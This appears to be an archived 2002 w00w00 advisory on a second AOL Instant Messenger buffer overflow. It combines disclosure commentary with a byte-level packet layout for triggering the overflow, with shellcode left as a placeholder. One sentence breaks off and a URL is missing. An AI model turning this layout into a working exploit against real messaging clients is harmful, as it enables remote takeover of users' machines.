Type packetstorm
Reporter w00w00
Modified 2002-05-08T00:00:00


AOL Instant Messenger Overflow #2  
w00w00! http://www.w00w00.org  
AOL Instant Messenger is still vulnerable to a serious overflow, as  
discovered by John Hennessy while tweaking our example exploit,  
w00aimexp. A few simple modifications and it's the same thing, all  
over again.  
We'd like to raise attention to the fact that, despite the past press  
coverage on how difficult it was to communicate serious problems to  
AOL, nothing appears to have changed. John first contacted AOL the  
same way we did 4 months ago and got no response, so he passed the  
info on to us. We used the contact information we gleaned from the  
last escapade and informed AOL of the problem. They appear to have  
taken notice by filtering on the server-side, so we give them kudos;  
however, we were only able to get this fixed because we had the   
benefit of non-publicly available information about who to talk to.  
Had AOL taken heed from the first time this happened, John wouldn't  
have had to reach out to us in order to report this egregious bug.  
For that, we are disappointed, and once again insist that vendors  
NEED to make it easier to report vulnerabilities if they are at all  
interested in protecting their customers from less inhibited,  
malicious individuals.  
Therefore, we recommend users switch to an Instant Messaging provider  
that has well-defined venues for reporting vulnerabilities.  
This vulnerability is almost identical to the previous one and simply  
affects a different mechanism (AddExternalApp instead of   
AOL Instant Messenger (AIM) has a major security vulnerability in all  
stable (non-beta) versions dating back to 4.2. This vulnerability  
will allow remote penetration of the victim's system without any   
indication as to who performed the attack. There is no opportunity   
to refuse the request. This does not affect the non-Windows   
versions, because the non-Windows versions currently do not yet   
support the feature that this vulnerability occurs in.  
This particular vulnerability results from an overflow in the code  
that parses a request to run an external application. This works with  
any TLV type > 0x2711, because 0x2711 is filtered on the AIM server  
side from the first vulnerability we reported. It appears that we   
were correct in our original advisory when we stated, "This may be  
more generic and exploitable through other means, but AOL has not  
released enough information about their protocol for us to be able to  
determine that."  
NOTE: On the points of full disclosure and vendor reporting, w00w00  
would like to encourage folks to read the IETF draft "Security Through  
Obscurity Considered Dangerous" by Steven M. Bellovin and Randy Bush  
of AT&T Research, available at:  
This has the same implications as the original advisory, so I will  
include the paragraphs from the first advisory:  
AOL Instant Messenger (http://www.aim.com) has over 100 million  
users. The implications of this vulnerability are huge and leave  
the door wide open for a worm not unlike those that Microsoft  
Outlook, IIS, et al. have all had (Melissa, ILOVEYOU, CodeRed,   
Nimda, etc.). An exploit could download itself off the web,   
determine the buddies of the victim, and then attack them also.  
Given the general nature of social networks and how they are   
structured, we predict that it wouldn't take long for such an  
attack to propagate.  
The particular overflow described supra allows a payload can be  
several thousand bytes long, which leaves lots of room for   
creative shellcode. In addition, the shellcode can have null   
bytes in it.  
The differences between this in the first one are:  
1. Using TLV type > 0x2711 instead of 0x2711  
2. Using AddExternalApp instead of AddGameRequest  
3. The offset to EIP for this vulnerability is shifted down 200  
Since the code is so similar and this is already filterede, we  
won't be releasing additional source code.  
FLAP header (6 bytes)  
[\x2a] '*' (magic number)  
[\x02] channel (data)  
[\x00\x11] seqnum number  
[\x07\x87] packet length (1927 bytes)  
SNAC header (10 bytes)  
[\x00\x04] SNAC family (message)  
[\x00\x06] SNAC type (outgoing message)  
[\x00\x00] SNAC flags (none)  
[\x00\x00\x00\x09] SNAC ID  
[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie  
[\x00\x02] SNAC channel (data)  
[\x0c] victim screen name length  
[\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX] victim screen name  
Now a set of TLV data types. There is a base container, type 0x05,  
that contains everything else. Inside of this are several smaller  
containers, with each TLV type following immediately after the  
previous. If those are misaligned, you'll receive a "busted SNAC  
payload" error.  
[\x00\x05] TLV type (0x05)  
[\x07\x62] TLV length (1890 bytes)  
[\x00\x00] cookie marker  
[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie  
Capability used to exploit this libfaim calls it (SAVESTOCKS):  
[\x00\x0a] TLV type (0x0a)  
[\x00\x02] TLV length (2 bytes)  
[\x00\x01] TLV data  
[\x00\x0f] TLV type (0x0f)  
[\x00\x00] TLV length (0)  
[\x00\x0e] TLV type (0x0e)  
[\x00\x02] TLV length (2 bytes)  
["en"] TLV data (language)  
[\x00\x0d] TLV type (0x0d)  
[\x00\x08] TLV length (8 bytes)  
["us-ascii"] TLV data (charset)  
[\x00\x0c] TLV type (0x0d)  
[\x00\x06] TLV length (6 bytes)  
["w00w00"] TLV data (game's name?)  
[\x00\x03] TLV type (0x03)  
[\x00\x04] TLV length (4 bytes)  
[\x00\x05] TLV type (0x05)  
[\x00\x02] TLV length (2 byte)  
[\x00\x07] TLV type (0x07)  
[\x00\x38] TLV length (56 bytes)  
[\x27\x12] TLV type (0x2712)  
[\xXX\xXX] TLV length (22 + length of shellcode)  
\x54\x00\x00\x00\x0b\x00\x09 + shellcode starts here]  
AOL is blocking this on the server side. Hopefully they'll  
also produce client side fixes. We'll have to wait and see how  
long it takes for someone to find another way around the filter.  
w00w00 would like to thank John Hennessey for informing us of  
the problem after his attempts failed.